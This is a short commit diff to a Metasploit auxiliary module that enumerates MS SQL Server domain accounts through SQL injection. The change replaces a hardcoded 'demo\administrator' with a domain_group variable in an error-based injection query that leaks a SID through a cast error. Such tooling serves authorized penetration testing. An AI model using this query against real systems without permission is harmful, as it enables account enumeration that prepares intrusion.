Use the target domain name

2014-11-25 13:36:48 -06:00 · 2014-11-25 13:36:48 -06:00 · f93dbc6deb
parent 7c87603b0e
commit f93dbc6deb
1 changed files with 1 additions and 1 deletions
--- a/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb
+++ b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb
@ -172,7 +172,7 @@ class Metasploit3 < Msf::Auxiliary
    clue_end = Rex::Text.rand_text_alpha(8)

    # Setup query
-    sql = "(select cast('#{clue_start}'+(select stuff(upper(sys.fn_varbintohexstr((SELECT SUSER_SID('demo\\administrator')))), 1, 2, ''))+'#{clue_end}' as int))"
+    sql = "(select cast('#{clue_start}'+(select stuff(upper(sys.fn_varbintohexstr((SELECT SUSER_SID('#{domain_group}')))), 1, 2, ''))+'#{clue_end}' as int))"

    # Run query
    result = mssql_query(sql)